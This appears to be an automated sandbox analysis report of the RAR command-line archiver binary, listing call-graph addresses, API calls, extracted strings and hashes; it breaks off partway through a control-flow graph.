39230->39232 39473 7ff68a238c1c 39231->39473 39359 7ff68a20aba0 39232->39359 39233->39230 39355 7ff68a20a4d0 39233->39355 39236 7ff68a25a610 _handle_error 8 API calls 39237 7ff68a20854f 39236->39237 39237->39215 39237->39217 39238 7ff68a20b67f 39239 7ff68a20bc91 39238->39239 39241 7ff68a20bbae 39238->39241 39242 7ff68a20b6a5 39238->39242 39240 7ff68a20b5d3 39239->39240 39243 7ff68a222574 126 API calls 39239->39243 39240->39236 39244 7ff68a238d00 48 API calls 39241->39244 39242->39240 39255 7ff68a20b6b5 39242->39255 39266 7ff68a20b79f 39242->39266 39243->39240 39246 7ff68a20bc5c 39244->39246 39542 7ff68a238d38 48 API calls 39246->39542 39250 7ff68a20bc69 39543 7ff68a238d38 48 API calls 39250->39543 39253 7ff68a20bc76 39544 7ff68a238d38 48 API calls 39253->39544 39255->39240 39507 7ff68a238d00 39255->39507 39256 7ff68a20bc84 39545 7ff68a238d88 48 API calls 39256->39545 39261 7ff68a20b726 39511 7ff68a238d38 48 API calls 39261->39511 39263 7ff68a20b733 39264 7ff68a20b749 39263->39264 39512 7ff68a238d88 48 API calls 39263->39512 39271 7ff68a20b75c 39264->39271 39513 7ff68a238d38 48 API calls 39264->39513 39272 7ff68a20b8e5 39266->39272 39524 7ff68a20c3c8 CharLowerW CharUpperW 39266->39524 39268 7ff68a20b779 39514 7ff68a238f94 39268->39514 39270 7ff68a238d00 48 API calls 39270->39271 39271->39268 39271->39270 39525 7ff68a24d840 WideCharToMultiByte 39272->39525 39276 7ff68a20b9a1 39277 7ff68a238d00 48 API calls 39276->39277 39279 7ff68a20b9c4 39277->39279 39528 7ff68a238d38 48 API calls 39279->39528 39281 7ff68a20b910 39281->39276 39527 7ff68a20945c 55 API calls _handle_error 39281->39527 39282 7ff68a20b9d1 39529 7ff68a238d38 48 API calls 39282->39529 39284 7ff68a20b9de 39530 7ff68a238d88 48 API calls 39284->39530 39286 7ff68a20b9eb 39531 7ff68a238d88 48 API calls 39286->39531 39288 7ff68a20ba0b 39289 7ff68a238d00 48 API calls 39288->39289 39290 7ff68a20ba27 39289->39290 39532 7ff68a238d88 48 API calls 39290->39532 39292 7ff68a20ba37 39293 7ff68a20ba49 39292->39293 39533 7ff68a24bc48 15 API calls 39292->39533 39534 7ff68a238d88 48 API calls 39293->39534 39296 7ff68a20ba59 39297 7ff68a238d00 48 API calls 39296->39297 39298 7ff68a20ba66 39297->39298 39299 7ff68a238d00 48 API calls 39298->39299 39300 7ff68a20ba78 39299->39300 39535 7ff68a238d38 48 API calls 39300->39535 39302 7ff68a20ba85 39536 7ff68a238d88 48 API calls 39302->39536 39304 7ff68a20ba92 39305 7ff68a20bacd 39304->39305 39537 7ff68a238d88 48 API calls 39304->39537 39539 7ff68a238e3c 39305->39539 39307 7ff68a20bab2 39538 7ff68a238d88 48 API calls 39307->39538 39310 7ff68a20bb33 39312 7ff68a20bb53 39310->39312 39316 7ff68a238e3c 48 API calls 39310->39316 39317 7ff68a20bb6e 39312->39317 39318 7ff68a238e3c 48 API calls 39312->39318 39313 7ff68a238d00 48 API calls 39314 7ff68a20bb09 39313->39314 39314->39310 39315 7ff68a238e3c 48 API calls 39314->39315 39315->39310 39316->39312 39319 7ff68a238f94 126 API calls 39317->39319 39318->39317 39319->39240 39321->39205 39322->39208 39323->39213 39324->39218 39327 7ff68a237a8d 39325->39327 39332 7ff68a20a434 39325->39332 39326 7ff68a237aaf 39328 7ff68a2222e0 12 API calls 39326->39328 39326->39332 39327->39326 39338 7ff68a237340 157 API calls 39327->39338 39330 7ff68a237adf 39328->39330 39339 7ff68a222440 39330->39339 39332->39227 39333 7ff68a2222e0 39332->39333 39349 7ff68a2220b4 39333->39349 39336 7ff68a222307 39336->39227 39338->39326 39340 7ff68a22246a SetFilePointer 39339->39340 39341 7ff68a222454 39339->39341 39342 7ff68a2224ad 39340->39342 39343 7ff68a22248d GetLastError 39340->39343 39341->39342 39347 7ff68a21cd00 10 API calls 39341->39347 39342->39332 39343->39342 39345 7ff68a222497 39343->39345 39345->39342 39348 7ff68a21cd00 10 API calls 39345->39348 39350 7ff68a222130 39349->39350 39353 7ff68a2220d0 39349->39353 39350->39336 39354 7ff68a21cd00 10 API calls 39350->39354 39351 7ff68a222102 SetFilePointer 39351->39350 39352 7ff68a222126 GetLastError 39351->39352 39352->39350 39353->39351 39356 7ff68a20a4ea 39355->39356 39357 7ff68a20a4ee 39356->39357 39358 7ff68a222440 12 API calls 39356->39358 39357->39230 39358->39357 39360 7ff68a20abbf setbuf 39359->39360 39361 7ff68a238c1c 48 API calls 39360->39361 39366 7ff68a20abf5 39361->39366 39362 7ff68a20b4af 39367 7ff68a20b4ff 39362->39367 39369 7ff68a222574 126 API calls 39362->39369 39363 7ff68a20acbf 39364 7ff68a20acc8 39363->39364 39365 7ff68a20b35c 39363->39365 39372 7ff68a20acdd 39364->39372 39375 7ff68a20ad60 39364->39375 39414 7ff68a20aea7 39364->39414 39371 7ff68a238eec 48 API calls 39365->39371 39366->39362 39368 7ff68a219be0 14 API calls 39366->39368 39389 7ff68a20aca7 39366->39389 39370 7ff68a2372c0 4 API calls 39367->39370 39373 7ff68a20ac34 39368->39373 39369->39367 39370->39375 39374 7ff68a20b395 39371->39374 39376 7ff68a20ace6 39372->39376 39377 7ff68a20ad68 39372->39377 39378 7ff68a2190b8 75 API calls 39373->39378 39385 7ff68a20b3ad 39374->39385 39564 7ff68a209e2c 48 API calls 39374->39564 39381 7ff68a25a610 _handle_error 8 API calls 39375->39381 39376->39375 39546 7ff68a238eec 39376->39546 39379 7ff68a238eec 48 API calls 39377->39379 39383 7ff68a20ac8f 39378->39383 39384 7ff68a20ad9c 39379->39384 39386 7ff68a20b52b 39381->39386 39382 7ff68a238eec 48 API calls 39387 7ff68a20b3d4 39382->39387 39383->39389 39393 7ff68a222574 126 API calls 39383->39393 39390 7ff68a238eec 48 API calls 39384->39390 39385->39382 39386->39240 39391 7ff68a20b3e6 39387->39391 39395 7ff68a238eec 48 API calls 39387->39395 39389->39362 39389->39363 39394 7ff68a20ada9 39390->39394 39398 7ff68a238eec 48 API calls 39391->39398 39393->39389 39397 7ff68a238eec 48 API calls 39394->39397 39395->39391 39396 7ff68a238eec 48 API calls 39399 7ff68a20ad31 39396->39399 39400 7ff68a20adb5 39397->39400 39401 7ff68a20b451 39398->39401 39402 7ff68a238eec 48 API calls 39399->39402 39403 7ff68a238eec 48 API calls 39400->39403 39404 7ff68a20b471 39401->39404 39412 7ff68a238eec 48 API calls 39401->39412 39405 7ff68a20ad46 39402->39405 39407 7ff68a20adc2 39403->39407 39406 7ff68a20b486 39404->39406 39409 7ff68a238e3c 48 API calls 39404->39409 39408 7ff68a238f94 126 API calls 39405->39408 39410 7ff68a238f94 126 API calls 39406->39410 39411 7ff68a238d00 48 API calls 39407->39411 39408->39375 39409->39406 39410->39375 39415 7ff68a20adcf 39411->39415 39412->39404 39413 7ff68a20afda 39423 7ff68a20aff2 39413->39423 39555 7ff68a209d98 48 API calls 39413->39555 39414->39413 39554 7ff68a209b64 48 API calls _handle_error 39414->39554 39417 7ff68a2190b8 75 API calls 39415->39417 39419 7ff68a20ae22 39417->39419 39420 7ff68a238e3c 48 API calls 39419->39420 39421 7ff68a20ae33 39420->39421 39422 7ff68a238e3c 48 API calls 39421->39422 39426 7ff68a20ae48 39422->39426 39424 7ff68a20b02b 39423->39424 39556 7ff68a209efc 48 API calls _handle_error 39423->39556 39425 7ff68a20b0af 39424->39425 39557 7ff68a20a2c8 48 API calls 39424->39557 39429 7ff68a20b0c8 39425->39429 39558 7ff68a20a1a0 48 API calls 2 library calls 39425->39558 39432 7ff68a249ce4 8 API calls 39426->39432 39430 7ff68a20b0e2 39429->39430 39559 7ff68a20a350 48 API calls _handle_error 39429->39559 39435 7ff68a238eec 48 API calls 39430->39435 39434 7ff68a20ae60 39432->39434 39436 7ff68a249b70 8 API calls 39434->39436 39437 7ff68a20b0fc 39435->39437 39438 7ff68a20ae6d 39436->39438 39439 7ff68a238eec 48 API calls 39437->39439 39440 7ff68a238e3c 48 API calls 39438->39440 39441 7ff68a20b109 39439->39441 39442 7ff68a20ae80 39440->39442 39443 7ff68a20b11f 39441->39443 39445 7ff68a238eec 48 API calls 39441->39445 39444 7ff68a238f94 126 API calls 39442->39444 39550 7ff68a238e94 39443->39550 39444->39375 39445->39443 39448 7ff68a238eec 48 API calls 39449 7ff68a20b147 39448->39449 39450 7ff68a238e94 48 API calls 39449->39450 39451 7ff68a20b15f 39450->39451 39452 7ff68a238eec 48 API calls 39451->39452 39455 7ff68a20b16c 39452->39455 39453 7ff68a20b18a 39454 7ff68a20b1a9 39453->39454 39561 7ff68a238d88 48 API calls 39453->39561 39457 7ff68a238e94 48 API calls 39454->39457 39455->39453 39560 7ff68a238d88 48 API calls 39455->39560 39459 7ff68a20b1bc 39457->39459 39460 7ff68a238eec 48 API calls 39459->39460 39461 7ff68a20b1d6 39460->39461 39463 7ff68a20b1e9 39461->39463 39562 7ff68a20c3c8 CharLowerW CharUpperW 39461->39562 39463->39463 39464 7ff68a238eec 48 API calls 39463->39464 39465 7ff68a20b21f 39464->39465 39466 7ff68a238e3c 48 API calls 39465->39466 39467 7ff68a20b230 39466->39467 39468 7ff68a20b247 39467->39468 39469 7ff68a238e3c 48 API calls 39467->39469 39470 7ff68a238f94 126 API calls 39468->39470 39469->39468 39471 7ff68a20b278 39470->39471 39471->39375 39563 7ff68a2370d8 4 API calls 2 library calls 39471->39563 39565 7ff68a238f28 39473->39565 39476 7ff68a2190b8 39477 7ff68a219123 39476->39477 39489 7ff68a2191a9 39476->39489 39477->39489 39583 7ff68a247e74 39477->39583 39478 7ff68a25a610 _handle_error 8 API calls 39480 7ff68a20b66e 39478->39480 39492 7ff68a222574 39480->39492 39482 7ff68a24d840 WideCharToMultiByte 39483 7ff68a219157 39482->39483 39484 7ff68a21916a 39483->39484 39485 7ff68a2191c4 39483->39485 39483->39489 39486 7ff68a2191ab 39484->39486 39487 7ff68a21916f 39484->39487 39602 7ff68a219338 12 API calls _handle_error 39485->39602 39601 7ff68a21951c 71 API calls _handle_error 39486->39601 39487->39489 39587 7ff68a2198b0 39487->39587 39489->39478 39493 7ff68a22259e 39492->39493 39494 7ff68a2225a5 39492->39494 39493->39238 39495 7ff68a2225ab GetStdHandle 39494->39495 39502 7ff68a2225ba 39494->39502 39495->39502 39496 7ff68a222619 WriteFile 39496->39502 39497 7ff68a2225cf WriteFile 39498 7ff68a22260b 39497->39498 39497->39502 39498->39497 39498->39502 39499 7ff68a222658 GetLastError 39499->39502 39501 7ff68a222684 SetLastError 39501->39502 39502->39493 39502->39496 39502->39497 39502->39499 39504 7ff68a222721 39502->39504 39667 7ff68a223144 9 API calls 2 library calls 39502->39667 39668 7ff68a21cf34 10 API calls 39502->39668 39669 7ff68a21c95c 126 API calls 39502->39669 39670 7ff68a21cf14 10 API calls 39504->39670 39508 7ff68a20161c 48 API calls 39507->39508 39509 7ff68a20b719 39508->39509 39510 7ff68a238d38 48 API calls 39509->39510 39510->39261 39511->39263 39512->39264 39513->39271 39515 7ff68a239131 39514->39515 39518 7ff68a238fcf 39514->39518 39515->39240 39516 7ff68a2390e0 39516->39515 39520 7ff68a222574 126 API calls 39516->39520 39517 7ff68a23905d 39517->39516 39519 7ff68a20161c 48 API calls 39517->39519 39518->39517 39671 7ff68a21ca6c 48 API calls 3 library calls 39518->39671 39519->39516 39520->39515 39522 7ff68a23904c 39672 7ff68a21ca40 61 API calls _CxxThrowException 39522->39672 39524->39272 39526 7ff68a20b8f8 CharToOemA 39525->39526 39526->39281 39527->39276 39528->39282 39529->39284 39530->39286 39531->39288 39532->39292 39533->39293 39534->39296 39535->39302 39536->39304 39537->39307 39538->39305 39540 7ff68a20161c 48 API calls 39539->39540 39541 7ff68a20baf2 39540->39541 39541->39310 39541->39313 39541->39314 39542->39250 39543->39253 39544->39256 39545->39239 39547 7ff68a238efc 39546->39547 39548 7ff68a238d00 48 API calls 39547->39548 39549 7ff68a20ad24 39547->39549 39548->39547 39549->39396 39551 7ff68a238eac 39550->39551 39552 7ff68a238d00 48 API calls 39551->39552 39553 7ff68a20b137 39551->39553 39552->39551 39553->39448 39554->39413 39555->39423 39556->39424 39557->39425 39558->39429 39559->39430 39560->39453 39561->39454 39562->39463 39563->39375 39564->39385 39568 7ff68a20161c 39565->39568 39567 7ff68a20b601 39567->39238 39567->39239 39567->39476 39569 7ff68a201640 39568->39569 39578 7ff68a2016aa memcpy_s 39568->39578 39570 7ff68a20166d 39569->39570 39579 7ff68a21ca6c 48 API calls 3 library calls 39569->39579 39572 7ff68a20168e 39570->39572 39574 7ff68a2016d4 39570->39574 39572->39578 39581 7ff68a21cb64 8 API calls 39572->39581 39573 7ff68a201661 39580 7ff68a21cb64 8 API calls 39573->39580 39574->39578 39582 7ff68a21cb64 8 API calls 39574->39582 39578->39567 39579->39573 39584 7ff68a247e95 39583->39584 39586 7ff68a219143 39583->39586 39585 7ff68a247ec8 68 API calls 39584->39585 39585->39586 39586->39482 39588 7ff68a219b45 39587->39588 39592 7ff68a219920 39587->39592 39589 7ff68a25a610 _handle_error 8 API calls 39588->39589 39590 7ff68a219b61 39589->39590 39590->39489 39593 7ff68a21996d 39592->39593 39594 7ff68a219b75 39592->39594 39603 7ff68a247da8 39592->39603 39593->39593 39610 7ff68a21a0f4 39593->39610 39595 7ff68a247f24 68 API calls 39594->39595 39598 7ff68a219acb 39595->39598 39597 7ff68a2199d0 39597->39597 39626 7ff68a247f24 39597->39626 39598->39588 39640 7ff68a244ea8 8 API calls _handle_error 39598->39640 39601->39489 39602->39489 39604 7ff68a247e74 68 API calls 39603->39604 39605 7ff68a247ddc 39604->39605 39606 7ff68a247e74 68 API calls 39605->39606 39607 7ff68a247def 39606->39607 39608 7ff68a25a610 _handle_error 8 API calls 39607->39608 39609 7ff68a247e43 39608->39609 39609->39592 39612 7ff68a21a15c memcpy_s 39610->39612 39611 7ff68a21a358 39663 7ff68a25a774 8 API calls __report_securityfailure 39611->39663 39612->39611 39613 7ff68a21a352 39612->39613 39616 7ff68a21a34d 39612->39616 39617 7ff68a21a192 39612->39617 39662 7ff68a25a774 8 API calls __report_securityfailure 39613->39662 39615 7ff68a21a35e 39661 7ff68a25a774 8 API calls __report_securityfailure 39616->39661 39641 7ff68a219dd8 39617->39641 39621 7ff68a21a1d9 39622 7ff68a219dd8 8 API calls 39621->39622 39623 7ff68a21a2f1 39621->39623 39622->39621 39624 7ff68a25a610 _handle_error 8 API calls 39623->39624 39625 7ff68a21a33b 39624->39625 39625->39597 39627 7ff68a247fb5 39626->39627 39628 7ff68a247f5e 39626->39628 39630 7ff68a24805c GetCurrentProcessId 39627->39630 39634 7ff68a247ff1 39627->39634 39628->39627 39629 7ff68a24b3f0 10 API calls 39628->39629 39631 7ff68a247f72 39629->39631 39633 7ff68a248034 39630->39633 39631->39627 39632 7ff68a247f7e GetProcAddressForCaller GetProcAddress 39631->39632 39632->39627 39633->39598 39633->39633 39634->39633 39664 7ff68a21ca6c 48 API calls 3 library calls 39634->39664 39636 7ff68a24801f 39665 7ff68a21cda4 10 API calls 2 library calls 39636->39665 39638 7ff68a248027 39666 7ff68a21ca40 61 API calls _CxxThrowException 39638->39666 39640->39588 39642 7ff68a219e46 39641->39642 39645 7ff68a219e6e memcpy_s 39641->39645 39643 7ff68a249ce4 8 API calls 39642->39643 39644 7ff68a219e5e 39643->39644 39646 7ff68a249b70 8 API calls 39644->39646 39647 7ff68a219e85 39645->39647 39649 7ff68a249ce4 8 API calls 39645->39649 39646->39645 39648 7ff68a249ce4 8 API calls 39647->39648 39650 7ff68a219f97 39648->39650 39649->39647 39651 7ff68a249b70 8 API calls 39650->39651 39652 7ff68a219fa8 memcpy_s 39651->39652 39653 7ff68a219fb4 39652->39653 39656 7ff68a249ce4 8 API calls 39652->39656 39654 7ff68a249ce4 8 API calls 39653->39654 39655 7ff68a21a0bb 39654->39655 39657 7ff68a249b70 8 API calls 39655->39657 39656->39653 39658 7ff68a21a0c9 39657->39658 39659 7ff68a25a610 _handle_error 8 API calls 39658->39659 39660 7ff68a21a0d8 39659->39660 39660->39621 39661->39613 39662->39611 39663->39615 39664->39636 39665->39638 39666->39633 39667->39501 39669->39502 39671->39522 39672->39517 39673 7ff68a24a924 39675 7ff68a24a949 snprintf 39673->39675 39674 7ff68a24a97f CompareStringA 39675->39674

                                                                                                                                                                                                                                          Executed Functions

                                                                                                                                                                                                                                          Function 00007FF68A2154C0 Relevance: 36.3, APIs: 4, Strings: 16, Instructions: 1336COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID: *.%ls$*?.$+$7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lz;lzh;mp3;rar;taz;tgz;xz;z;zip;zipx$EML$ERR$LOG$NUL$OFF$SFX$SND$VER$default.sfx$rar.log$stdin$stdin
                                                                                                                                                                                                                                          • API String ID: 0-1628410872
                                                                                                                                                                                                                                          • Opcode ID: b9d6aeb0518eca3664f40ad1619fad4736c7e1389d4ca9ce6415b1a8c264bdf8
                                                                                                                                                                                                                                          • Instruction ID: 4f8226d2f562f1af27c082ffa39f524578109073d452a3609aed6b065b9d2aa7
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: b9d6aeb0518eca3664f40ad1619fad4736c7e1389d4ca9ce6415b1a8c264bdf8
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 51C2D26290E192E1EA3A9B2483642FD3691BF05784F9D41BDCE0ECA2C5DE6EF544F350
                                                                                                                                                                                                                                          Function 00007FF68A201884 Relevance: 24.1, APIs: 5, Strings: 8, Instructions: 1374COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID: %s%s $.ext$exe$rar$sfx$,6$BK$q:
                                                                                                                                                                                                                                          • API String ID: 0-1660254149
                                                                                                                                                                                                                                          • Opcode ID: cfa7f818567ab929e79e45b454ebad75dd9672428e90426474b835b5e7ceca6d
                                                                                                                                                                                                                                          • Instruction ID: 45af0003904a10278ff00fce56b84dbd6423c38b07c8c6117241024a896ec0ef
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: cfa7f818567ab929e79e45b454ebad75dd9672428e90426474b835b5e7ceca6d
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 72E29E26A0AAC2E9EB30DB25CA601ED27A1FF45788F4940BADF4D87796DF39D544D300
                                                                                                                                                                                                                                          Function 00007FF68A21901C Relevance: 4.5, APIs: 3, Instructions: 35encryptionCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Crypt$Context$AcquireRandomRelease
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1815803762-0
                                                                                                                                                                                                                                          • Opcode ID: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
                                                                                                                                                                                                                                          • Instruction ID: fa2b2a72762b3d1aada7cc52008b3952e6b01f3e34ba841daa312a8ff8bad2fb
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: FF016D26B09A50D2E7108B56AA643796761FFC4FE0F188075DE4E83B68CF7DE94AD700
                                                                                                                                                                                                                                          Function 00007FF68A22AE10 Relevance: 1.7, APIs: 1, Instructions: 177COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 0552f59dc804d2e0d20b2d282ad9cfd142ccfb886900338c14155ce18a5671af
                                                                                                                                                                                                                                          • Instruction ID: c18c45e87de0e432ae8711aacefe8960a1eea557d8b966d59e8ff8873bbc5373
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0552f59dc804d2e0d20b2d282ad9cfd142ccfb886900338c14155ce18a5671af
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0C712332A0668186D754DF25E6153EC7391FB88BA4F084179CF5CCB799EF38A042D790
                                                                                                                                                                                                                                          Function 00007FF68A243EA8 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 491COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 635 7ff68a243ea8-7ff68a243f03 call 7ff68a25a5a0 call 7ff68a25c8a0 640 7ff68a243f40-7ff68a243f50 call 7ff68a24a9e8 635->640 641 7ff68a243f05-7ff68a243f3e GetModuleFileNameW call 7ff68a234e14 call 7ff68a24a9c0 635->641 645 7ff68a243f55-7ff68a243f79 call 7ff68a221874 call 7ff68a221e80 640->645 641->645 652 7ff68a243f7f-7ff68a243f89 645->652 653 7ff68a244692-7ff68a2446c5 call 7ff68a2218ac call 7ff68a25a610 645->653 655 7ff68a243f8b-7ff68a243fac call 7ff68a2411c0 * 2 652->655 656 7ff68a243fae-7ff68a243feb call 7ff68a25ec70 * 2 652->656 655->656 668 7ff68a243fef-7ff68a243ff3 656->668 669 7ff68a243ff9-7ff68a24402d call 7ff68a222440 call 7ff68a222150 668->669 670 7ff68a2440f2-7ff68a244112 call 7ff68a2222e0 call 7ff68a25eb90 668->670 679 7ff68a2440bc-7ff68a2440e2 call 7ff68a2222e0 669->679 680 7ff68a244033 669->680 670->653 681 7ff68a244118-7ff68a244131 call 7ff68a222150 670->681 679->668 692 7ff68a2440e8-7ff68a2440ec 679->692 683 7ff68a24403a-7ff68a24403e 680->683 689 7ff68a244138-7ff68a24414b call 7ff68a25eb90 681->689 690 7ff68a244133-7ff68a244136 681->690 686 7ff68a244040-7ff68a244044 683->686 687 7ff68a244064-7ff68a244069 683->687 686->687 691 7ff68a244046-7ff68a24405e call 7ff68a262290 686->691 693 7ff68a244097-7ff68a24409f 687->693 694 7ff68a24406b-7ff68a244070 687->694 689->653 706 7ff68a244151-7ff68a24416c call 7ff68a24d54c call 7ff68a25eb88 689->706 697 7ff68a24416f-7ff68a2441b1 call 7ff68a24a900 call 7ff68a25eb90 690->697 707 7ff68a244060 691->707 708 